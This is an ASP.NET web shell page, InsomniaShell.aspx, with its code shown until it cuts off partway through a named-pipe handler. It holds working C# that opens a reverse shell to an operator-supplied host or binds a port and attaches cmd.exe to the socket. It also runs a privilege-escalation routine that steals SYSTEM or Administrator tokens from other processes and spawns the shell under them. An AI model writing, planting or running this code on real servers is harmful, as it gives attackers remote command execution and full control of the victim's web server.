<%@ Page Language="C#" %>

<%@ Import Namespace="System.Runtime.InteropServices" %>

<%@ Import Namespace="System.Net" %>

<%@ Import Namespace="System.Net.Sockets" %>

<%@ Import Namespace="System.Security.Principal" %>

<%@ Import Namespace="System.Data.SqlClient" %>



<script runat="server">

//--------------------------------------------------------

//    INSOMNIA SECURITY :: InsomniaShell.aspx

//

//          .aspx shell helper page

// brett.moore@insomniasec.com ::  www.insomniasec.com

//--------------------------------------------------------

// Some c token code portions borrowed from ppl such as

// Cesar Cerrudo and Matt Conover 

//--------------------------------------------------------

// Some Bollox To Do Socket Shells With .net

// throw in some more to do token impersonation

// and a bit more for namedpipe impersonation

//--------------------------------------------------------



    [StructLayout(LayoutKind.Sequential)]

    public struct STARTUPINFO

    {

        public int cb;

        public String lpReserved;

        public String lpDesktop;

        public String lpTitle;

        public uint dwX;

        public uint dwY;

        public uint dwXSize;

        public uint dwYSize;

        public uint dwXCountChars;

        public uint dwYCountChars;

        public uint dwFillAttribute;

        public uint dwFlags;

        public short wShowWindow;

        public short cbReserved2;

        public IntPtr lpReserved2;

        public IntPtr hStdInput;

        public IntPtr hStdOutput;

        public IntPtr hStdError;

    }



    [StructLayout(LayoutKind.Sequential)]

    public struct PROCESS_INFORMATION

    {

        public IntPtr hProcess;

        public IntPtr hThread;

        public uint dwProcessId;

        public uint dwThreadId;

    }



    [StructLayout(LayoutKind.Sequential)]

    public struct SECURITY_ATTRIBUTES

    {

        public int Length;

        public IntPtr lpSecurityDescriptor;

        public bool bInheritHandle;

    }

    

    

    [DllImport("kernel32.dll")]

    static extern bool CreateProcess(string lpApplicationName,

       string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,

       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,

       uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,

       [In] ref STARTUPINFO lpStartupInfo,

       out PROCESS_INFORMATION lpProcessInformation);



    public static uint INFINITE = 0xFFFFFFFF;

    

    [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]

    internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);



    internal struct sockaddr_in

    {

        /// <summary>

        /// Protocol family indicator.

        /// </summary>

        public short sin_family;

        /// <summary>

        /// Protocol port.

        /// </summary>

        public short sin_port;

        /// <summary>

        /// Actual address value.

        /// </summary>

        public int sin_addr;

        /// <summary>

        /// Address content list.

        /// </summary>

        //[MarshalAs(UnmanagedType.LPStr, SizeConst=8)]

        //public string sin_zero;

        public long sin_zero;

    }



    [DllImport("kernel32.dll")]

    static extern IntPtr GetStdHandle(int nStdHandle);



    [DllImport("kernel32.dll")]

    static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);



    public const int STD_INPUT_HANDLE = -10;

    public const int STD_OUTPUT_HANDLE = -11;

    public const int STD_ERROR_HANDLE = -12;

    

    [DllImport("kernel32")]

    static extern bool AllocConsole();





    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]

    internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,

                                            [In] SocketType socketType,

                                            [In] ProtocolType protocolType,

                                            [In] IntPtr protocolInfo, 

                                            [In] uint group,

                                            [In] int flags

                                            );



    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]

    internal static extern int inet_addr([In] string cp);

    [DllImport("ws2_32.dll")]

    private static extern string inet_ntoa(uint ip);



    [DllImport("ws2_32.dll")]

    private static extern uint htonl(uint ip);

    

    [DllImport("ws2_32.dll")]

    private static extern uint ntohl(uint ip);

    

    [DllImport("ws2_32.dll")]

    private static extern ushort htons(ushort ip);

    

    [DllImport("ws2_32.dll")]

    private static extern ushort ntohs(ushort ip);   



    

   [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]

   internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);



    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]

   internal static extern int send(

                                [In] IntPtr socketHandle,

                                [In] byte[] pinnedBuffer,

                                [In] int len,

                                [In] SocketFlags socketFlags

                                );



    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]

   internal static extern int recv(

                                [In] IntPtr socketHandle,

                                [In] IntPtr pinnedBuffer,

                                [In] int len,

                                [In] SocketFlags socketFlags

                                );



    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]

   internal static extern int closesocket(

                                       [In] IntPtr socketHandle

                                       );



    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]

   internal static extern IntPtr accept(

                                  [In] IntPtr socketHandle,

                                  [In, Out] ref sockaddr_in socketAddress,

                                  [In, Out] ref int socketAddressSize

                                  );



    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]

   internal static extern int listen(

                                  [In] IntPtr socketHandle,

                                  [In] int backlog

                                  );



    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]

   internal static extern int bind(

                                [In] IntPtr socketHandle,

                                [In] ref sockaddr_in  socketAddress,

                                [In] int socketAddressSize

                                );





   public enum TOKEN_INFORMATION_CLASS

   {

       TokenUser = 1,

       TokenGroups,

       TokenPrivileges,

       TokenOwner,

       TokenPrimaryGroup,

       TokenDefaultDacl,

       TokenSource,

       TokenType,

       TokenImpersonationLevel,

       TokenStatistics,

       TokenRestrictedSids,

       TokenSessionId

   }



   [DllImport("advapi32", CharSet = CharSet.Auto)]

   public static extern bool GetTokenInformation(

       IntPtr hToken,

       TOKEN_INFORMATION_CLASS tokenInfoClass,

       IntPtr TokenInformation,

       int tokeInfoLength,

       ref int reqLength);



   public enum TOKEN_TYPE

   {

       TokenPrimary = 1,

       TokenImpersonation

   }



   public enum SECURITY_IMPERSONATION_LEVEL

   {

       SecurityAnonymous,

       SecurityIdentification,

       SecurityImpersonation,

       SecurityDelegation

   }



   

   [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]

   public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,

       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,

       String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);



   [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]

   public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,

       ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,

       ref IntPtr DuplicateTokenHandle);



   



   const int ERROR_NO_MORE_ITEMS = 259;



   [StructLayout(LayoutKind.Sequential)]

   struct TOKEN_USER

   {

       public _SID_AND_ATTRIBUTES User;

   }



   [StructLayout(LayoutKind.Sequential)]

   public struct _SID_AND_ATTRIBUTES

   {

       public IntPtr Sid;

       public int Attributes;

   }



   [DllImport("advapi32", CharSet = CharSet.Auto)]

   public extern static bool LookupAccountSid

   (

       [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, // name of local or remote computer

       IntPtr pSid, // security identifier

       StringBuilder Account, // account name buffer

       ref int cbName, // size of account name buffer

       StringBuilder DomainName, // domain name

       ref int cbDomainName, // size of domain name buffer

       ref int peUse // SID type

       // ref _SID_NAME_USE peUse // SID type

   );



   [DllImport("advapi32", CharSet = CharSet.Auto)]

   public extern static bool ConvertSidToStringSid(

       IntPtr pSID,

       [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);





   [DllImport("kernel32.dll", SetLastError = true)]

   public static extern bool CloseHandle(

       IntPtr hHandle);



   [DllImport("kernel32.dll", SetLastError = true)]

   public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);

   [Flags]

   public enum ProcessAccessFlags : uint

   {

       All = 0x001F0FFF,

       Terminate = 0x00000001,

       CreateThread = 0x00000002,

       VMOperation = 0x00000008,

       VMRead = 0x00000010,

       VMWrite = 0x00000020,

       DupHandle = 0x00000040,

       SetInformation = 0x00000200,

       QueryInformation = 0x00000400,

       Synchronize = 0x00100000

   }



   [DllImport("kernel32.dll")]

   static extern IntPtr GetCurrentProcess();



   [DllImport("kernel32.dll")]

   extern static IntPtr GetCurrentThread();





   [DllImport("kernel32.dll", SetLastError = true)]

   [return: MarshalAs(UnmanagedType.Bool)]

   static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,

      IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,

      uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);



    [DllImport("psapi.dll", SetLastError = true)]

    public static extern bool EnumProcessModules(IntPtr hProcess,

    [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,

    uint cb,

    [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);



    [DllImport("psapi.dll")]

    static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);





    //-------------------------------------------------------------------------------------------------------------------------------



    public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;

    public const uint PIPE_ACCESS_DUPLEX = 0x00000003;

    public const uint PIPE_ACCESS_INBOUND = 0x00000001;

    public const uint PIPE_WAIT = 0x00000000;

    public const uint PIPE_NOWAIT = 0x00000001;

    public const uint PIPE_READMODE_BYTE = 0x00000000;

    public const uint PIPE_READMODE_MESSAGE = 0x00000002;

    public const uint PIPE_TYPE_BYTE = 0x00000000;

    public const uint PIPE_TYPE_MESSAGE = 0x00000004;

    public const uint PIPE_CLIENT_END = 0x00000000;

    public const uint PIPE_SERVER_END = 0x00000001;

    public const uint PIPE_UNLIMITED_INSTANCES = 255;



    public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;

    public const uint NMPWAIT_NOWAIT = 0x00000001;

    public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;



    public const uint GENERIC_READ = (0x80000000);

    public const uint GENERIC_WRITE = (0x40000000);

    public const uint GENERIC_EXECUTE = (0x20000000);

    public const uint GENERIC_ALL = (0x10000000);



    public const uint CREATE_NEW = 1;

    public const uint CREATE_ALWAYS = 2;

    public const uint OPEN_EXISTING = 3;

    public const uint OPEN_ALWAYS = 4;

    public const uint TRUNCATE_EXISTING = 5;



    public const int INVALID_HANDLE_VALUE = -1;



    public const ulong ERROR_SUCCESS = 0;

    public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;

    public const ulong ERROR_PIPE_BUSY = 231;

    public const ulong ERROR_NO_DATA = 232;

    public const ulong ERROR_PIPE_NOT_CONNECTED = 233;

    public const ulong ERROR_MORE_DATA = 234;

    public const ulong ERROR_PIPE_CONNECTED = 535;

    public const ulong ERROR_PIPE_LISTENING = 536;



    //-------------------------------------------------------------------------------------------------------------------------------

    [DllImport("kernel32.dll", SetLastError = true)]

    public static extern IntPtr CreateNamedPipe(

        String lpName,									// pipe name

        uint dwOpenMode,								// pipe open mode

        uint dwPipeMode,								// pipe-specific modes

        uint nMaxInstances,							// maximum number of instances

        uint nOutBufferSize,						// output buffer size

        uint nInBufferSize,							// input buffer size

        uint nDefaultTimeOut,						// time-out interval

        IntPtr pipeSecurityDescriptor		// SD

        );



    [DllImport("kernel32.dll", SetLastError = true)]

    public static extern bool ConnectNamedPipe(

        IntPtr hHandle,									// handle to named pipe

        uint lpOverlapped					// overlapped structure

        );



    [DllImport("Advapi32.dll", SetLastError = true)]

    public static extern bool ImpersonateNamedPipeClient(

        IntPtr hHandle);									// handle to named pipe



    [DllImport("kernel32.dll", SetLastError = true)]

    public static extern bool GetNamedPipeHandleState(

        IntPtr hHandle,

        IntPtr lpState,

        IntPtr lpCurInstances,

        IntPtr lpMaxCollectionCount,

        IntPtr lpCollectDataTimeout,

        StringBuilder lpUserName,

        int nMaxUserNameSize

        );

    //------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------    

    

    

    

    protected void CallbackShell(string server, int port)

    {

        // This will do a call back shell to the specified server and port

        string request = "Shell enroute.......\n";

        Byte[] bytesSent = Encoding.ASCII.GetBytes(request);



        IntPtr oursocket = IntPtr.Zero;

        

        sockaddr_in socketinfo;

    

        // Create a socket connection with the specified server and port.

        oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);



        // Setup And Bind Socket

        socketinfo = new sockaddr_in();

        

        socketinfo.sin_family = (short) AddressFamily.InterNetwork;

        socketinfo.sin_addr = inet_addr(server);

        socketinfo.sin_port = (short) htons((ushort)port);

        

        //Connect

        connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));



        send(oursocket, bytesSent, request.Length, 0);



        SpawnProcessAsPriv(oursocket);



        closesocket(oursocket);

        

      

    }



    protected void BindPortShell(int port)

    {

        // This will bind to a port and then send back a shell

        string request = "Shell enroute.......\n";

        Byte[] bytesSent = Encoding.ASCII.GetBytes(request);



        IntPtr oursocket = IntPtr.Zero;



        sockaddr_in socketinfo;



        // Create a socket connection with the specified server and port.

        oursocket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, 0);



        // Setup And Bind Socket

        socketinfo = new sockaddr_in();

        socketinfo.sin_family = (short)AddressFamily.InterNetwork;

        uint INADDR_ANY	=0x00000000;



        socketinfo.sin_addr = (int) htonl(INADDR_ANY);

        socketinfo.sin_port = (short)htons((ushort) port);



        // Bind

        bind(oursocket,ref socketinfo,Marshal.SizeOf(socketinfo));



        // Lsten

 	    	listen(oursocket, 128);

	  

        // Wait for connection

        int socketSize = Marshal.SizeOf(socketinfo);



        oursocket = accept(oursocket, ref socketinfo, ref socketSize);

	    

        send(oursocket, bytesSent, request.Length, 0);



        SpawnProcessAsPriv(oursocket);



        closesocket(oursocket);

       

    }



    protected void SpawnProcess(IntPtr oursocket)

    {

        // Spawn a process to a socket withouth impersonation

        bool retValue;

        string Application = Environment.GetEnvironmentVariable("comspec"); 



        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();

        STARTUPINFO sInfo = new STARTUPINFO();

        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();

        pSec.Length = Marshal.SizeOf(pSec);



        sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES;



        // Set Handles

        sInfo.hStdInput = oursocket;

        sInfo.hStdOutput = oursocket;

        sInfo.hStdError = oursocket;





        //Spawn Shell

        retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);



        // Wait for it to finish

        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);

    }



    

    protected void GetSystemToken(ref IntPtr DupeToken)

    {        

    		// Enumerate all accessible processes looking for a system token



        SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();

        sa.bInheritHandle = false;

        sa.Length = Marshal.SizeOf(sa);

        sa.lpSecurityDescriptor = (IntPtr)0;



        // Find Token

        IntPtr pTokenType = Marshal.AllocHGlobal(4);

        int TokenType = 0;

        int cb = 4;



        string astring = "";

        IntPtr token = IntPtr.Zero;

        IntPtr duptoken = IntPtr.Zero;



        IntPtr hProc = IntPtr.Zero;

        IntPtr usProcess = IntPtr.Zero;





        uint pid = 0;



        for (pid = 0; pid < 9999; pid += 4)

        {

            hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);

            usProcess = GetCurrentProcess();



            if (hProc != IntPtr.Zero)

            {

                for (int x = 1; x <= 9999; x += 4)

                {

                    token = (IntPtr)x;



                    if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))

                    {

                        if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))

                        {

                            TokenType = Marshal.ReadInt32(pTokenType);



                            switch ((TOKEN_TYPE)TokenType)

                            {

                                case TOKEN_TYPE.TokenPrimary:

                                    astring = "Primary";

                                    break;

                                case TOKEN_TYPE.TokenImpersonation:

                                    // Get the impersonation level

                                    GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);

                                    TokenType = Marshal.ReadInt32(pTokenType);

                                    switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)

                                    {

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:

                                            astring = "Impersonation - Anonymous";

                                            break;

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:

                                            astring = "Impersonation - Identification";

                                            break;

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:

                                            astring = "Impersonation - Impersonation";

                                            break;

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:

                                            astring = "Impersonation - Delegation";

                                            break;

                                    }



                                    break;

                            }





                            // Get user name

                            TOKEN_USER tokUser;

                            string username;

                            const int bufLength = 256;

                            IntPtr tu = Marshal.AllocHGlobal(bufLength);

                            cb = bufLength;

                            GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);

                            tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));



                            username = DumpAccountSid(tokUser.User.Sid);



                            Marshal.FreeHGlobal(tu);



                            if (username.ToString() == "NT AUTHORITY\\\\SYSTEM")

                            {

                                // Coverts a primary token to an impersonation

                                if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken))

                                {

                                    // Display the token type

                                    //Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken));



                                    return;

                                }

                            }   

                        }

                        CloseHandle(duptoken);

                    }

                }

                CloseHandle(hProc);

            }

            

        }

        

    }

    

    protected void GetAdminToken(ref IntPtr DupeToken)

    {        

    		// Enumerate all accessible processes looking for a system token



        SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();

        sa.bInheritHandle = false;

        sa.Length = Marshal.SizeOf(sa);

        sa.lpSecurityDescriptor = (IntPtr)0;



        // Find Token

        IntPtr pTokenType = Marshal.AllocHGlobal(4);

        int TokenType = 0;

        int cb = 4;



        string astring = "";

        IntPtr token = IntPtr.Zero;

        IntPtr duptoken = IntPtr.Zero;



        IntPtr hProc = IntPtr.Zero;

        IntPtr usProcess = IntPtr.Zero;





        uint pid = 0;



        for (pid = 0; pid < 9999; pid += 4)

        {

            hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);

            usProcess = GetCurrentProcess();



            if (hProc != IntPtr.Zero)

            {

                for (int x = 1; x <= 9999; x += 4)

                {

                    token = (IntPtr)x;



                    if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))

                    {

                        if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))

                        {

                            TokenType = Marshal.ReadInt32(pTokenType);



                            switch ((TOKEN_TYPE)TokenType)

                            {

                                case TOKEN_TYPE.TokenPrimary:

                                    astring = "Primary";

                                    break;

                                case TOKEN_TYPE.TokenImpersonation:

                                    // Get the impersonation level

                                    GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);

                                    TokenType = Marshal.ReadInt32(pTokenType);

                                    switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)

                                    {

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:

                                            astring = "Impersonation - Anonymous";

                                            break;

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:

                                            astring = "Impersonation - Identification";

                                            break;

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:

                                            astring = "Impersonation - Impersonation";

                                            break;

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:

                                            astring = "Impersonation - Delegation";

                                            break;

                                    }



                                    break;

                            }





                            // Get user name

                            TOKEN_USER tokUser;

                            string username;

                            const int bufLength = 256;

                            IntPtr tu = Marshal.AllocHGlobal(bufLength);

                            cb = bufLength;

                            GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);

                            tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));



                            username = DumpAccountSid(tokUser.User.Sid);



                            Marshal.FreeHGlobal(tu);

  

                            if (username.EndsWith("Administrator"))

                            {

                                // Coverts a primary token to an impersonation

                                if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken))

                                {

                                    // Display the token type

                                    //Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken));



                                    return;

                                }

                            }   

                        }

                        CloseHandle(duptoken);

                    }

                }

                CloseHandle(hProc);

            }

            

        }

        

    }

    

    protected void SpawnProcessAsPriv(IntPtr oursocket)

    {

        // Spawn a process to a socket

        

        bool retValue;

        string Application = Environment.GetEnvironmentVariable("comspec"); 



        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();

        STARTUPINFO sInfo = new STARTUPINFO();

        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();

        pSec.Length = Marshal.SizeOf(pSec);



        sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES;



        IntPtr DupeToken = new IntPtr(0);



        

        // Get the token

        GetSystemToken(ref DupeToken);

        

        if (DupeToken == IntPtr.Zero)

						GetAdminToken(ref DupeToken);

        



        // Display the token type

        //Response.Output.Write("* Creating shell as {0}<br>", DisplayTokenType(DupeToken));

       

             

        

        // Set Handles

        sInfo.hStdInput = oursocket;

        sInfo.hStdOutput = oursocket;

        sInfo.hStdError = oursocket;





        //Spawn Shell

        if (DupeToken == IntPtr.Zero)

       

            retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);

        else

            retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);



        // Wait for it to finish

        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);



        //Close It all up

        CloseHandle(DupeToken);

    }



    //--------------------------------------------------------

    // Display the type of token and the impersonation level

    //--------------------------------------------------------

    protected StringBuilder DisplayTokenType(IntPtr token)

    {

        IntPtr pTokenType = Marshal.AllocHGlobal(4);

        int TokenType = 0;

        int cb = 4;



        StringBuilder sb = new StringBuilder();



        GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb);

        TokenType = Marshal.ReadInt32(pTokenType);



        switch ((TOKEN_TYPE)TokenType)

        {

            case TOKEN_TYPE.TokenPrimary:

                sb.Append("Primary");

                break;

            case TOKEN_TYPE.TokenImpersonation:

                // Get the impersonation level

                GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);

                TokenType = Marshal.ReadInt32(pTokenType);

                switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)

                {

                    case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:

                        sb.Append("Impersonation - Anonymous");

                        break;

                    case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:

                        sb.Append("Impersonation - Identification");

                        break;

                    case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:

                        sb.Append("Impersonation - Impersonation");

                        break;

                    case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:

                        sb.Append("Impersonation - Delegation");

                        break;

                }



                break;

        }

        Marshal.FreeHGlobal(pTokenType);

        return sb;

    }



    protected void DisplayCurrentContext()

    {

        Response.Output.Write("* Thread executing as {0}, token is {1}<br>", WindowsIdentity.GetCurrent().Name, DisplayTokenType(WindowsIdentity.GetCurrent().Token));

    }



    protected string DumpAccountSid(IntPtr SID)

    {

        int cchAccount = 0;

        int cchDomain = 0;

        int snu = 0;

        StringBuilder sb = new StringBuilder();



        // Caller allocated buffer

        StringBuilder Account = null;

        StringBuilder Domain = null;

        bool ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu);

        if (ret == true)

            if (Marshal.GetLastWin32Error() == ERROR_NO_MORE_ITEMS)

                return "Error";

        try

        {

            Account = new StringBuilder(cchAccount);

            Domain = new StringBuilder(cchDomain);

            ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu);

            if (ret)

            {

                sb.Append(Domain);

                sb.Append(@"\\");

                sb.Append(Account);

            }

            else

                sb.Append("logon account (no name) ");

        }

        catch (Exception ex)

        {

            Console.WriteLine(ex.Message);

        }

        finally

        {

        }



        //string SidString = null;

        

        //ConvertSidToStringSid(SID, ref SidString);

        //sb.Append("\nSID: ");

        //sb.Append(SidString);

        return sb.ToString();

    }

    

    protected string GetProcessName(uint PID)

    {

        IntPtr hProc = IntPtr.Zero;

        uint[] hMod = new uint[2048];

        uint cbNeeded;

        int exeNameSize = 255;

        StringBuilder exeName = null;

        

        exeName = new StringBuilder(exeNameSize);

        

        

        hProc = OpenProcess(ProcessAccessFlags.QueryInformation | ProcessAccessFlags.VMRead, false, PID);

        

        if (hProc != IntPtr.Zero)

        {

            if (EnumProcessModules(hProc, hMod, UInt32.Parse(hMod.Length.ToString()), out cbNeeded))

            {



                GetModuleBaseName(hProc, hMod[0],  exeName, (uint)exeNameSize);

            }

            

        }

        

        CloseHandle( hProc );



        return exeName.ToString();

    }

    

    

    //***************************************************************************

    // DISPLAY THE AVAILABLE TOKENS

    //***************************************************************************

    

    protected void DisplayAvailableTokens()

    {



        IntPtr pTokenType = Marshal.AllocHGlobal(4);

        int TokenType = 0;

        int cb = 4;



        string astring = "";

        IntPtr token = IntPtr.Zero;

        IntPtr duptoken = IntPtr.Zero;



        IntPtr hProc = IntPtr.Zero;

        IntPtr usProcess = IntPtr.Zero;

        



        uint pid = 0;



        for (pid = 0; pid < 9999; pid+=4)

        {

            hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);

            usProcess = GetCurrentProcess();



            if (hProc != IntPtr.Zero)

            {

                //Response.Output.Write("Opened process PID: {0} : {1}<br>", pid, GetProcessName(pid));



                for (int x = 1; x <= 9999; x+=4)

                {

                    token = (IntPtr)x;



                    if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))

                    {

                        //Response.Output.Write("Duplicated handle: {0}<br>", x);

                        if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))

                        {

                            TokenType = Marshal.ReadInt32(pTokenType);



                            switch ((TOKEN_TYPE)TokenType)

                            {

                                case TOKEN_TYPE.TokenPrimary:

                                    astring = "Primary";

                                    break;

                                case TOKEN_TYPE.TokenImpersonation:

                                    // Get the impersonation level

                                    GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);

                                    TokenType = Marshal.ReadInt32(pTokenType);

                                    switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)

                                    {

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:

                                            astring = "Impersonation - Anonymous";

                                            break;

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:

                                            astring = "Impersonation - Identification";

                                            break;

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:

                                            astring = "Impersonation - Impersonation";

                                            break;

                                        case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:

                                            astring = "Impersonation - Delegation";

                                            break;

                                    }



                                    break;

                            }





                            // Get user name

                            TOKEN_USER tokUser;

                            string username;

                            const int bufLength = 256;

                            IntPtr tu = Marshal.AllocHGlobal(bufLength);

                            cb = bufLength;

                            GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);

                            tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));



                            username = DumpAccountSid(tokUser.User.Sid);



                            Marshal.FreeHGlobal(tu);



                            if (username.ToString()  ==  "NT AUTHORITY\\\\SYSTEM")

                                Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring);

                            else if (username.EndsWith("Administrator"))

                                Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring);

                            //else

                                //Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid, x, username, astring);

                        }

                        CloseHandle(duptoken);

                    }

                    else

                    {

                        //Response.Output.Write("Handle: {0} Error: {1}<br>", x,GetLastError());

                    }

                }

                CloseHandle(hProc);

            }

            else

            {

                //Response.Output.Write("Failed to open process PID: {0}<br>", pid);



            }

        }

    }





    protected void Page_Load(object sender, EventArgs e)

    {

    }





    protected void butConnectBack_Click(object sender, EventArgs e)

    {

        String host = txtRemoteHost.Text;

        int port = Convert.ToInt32(txtRemotePort.Text);

                

        CallbackShell(host, port);

    }



    protected void butBindPort_Click(object sender, EventArgs e)

    {



        int port = Convert.ToInt32(txtBindPort.Text);



        BindPortShell(port);

    }



    protected void butCreateNamedPipe_Click(object sender, EventArgs e)

    {

        String pipeName = "\\\\.\\pipe\\" + txtPipeName.Text;



        IntPtr hPipe = IntPtr.Zero;

        IntPtr secAttr = IntPtr.Zero;



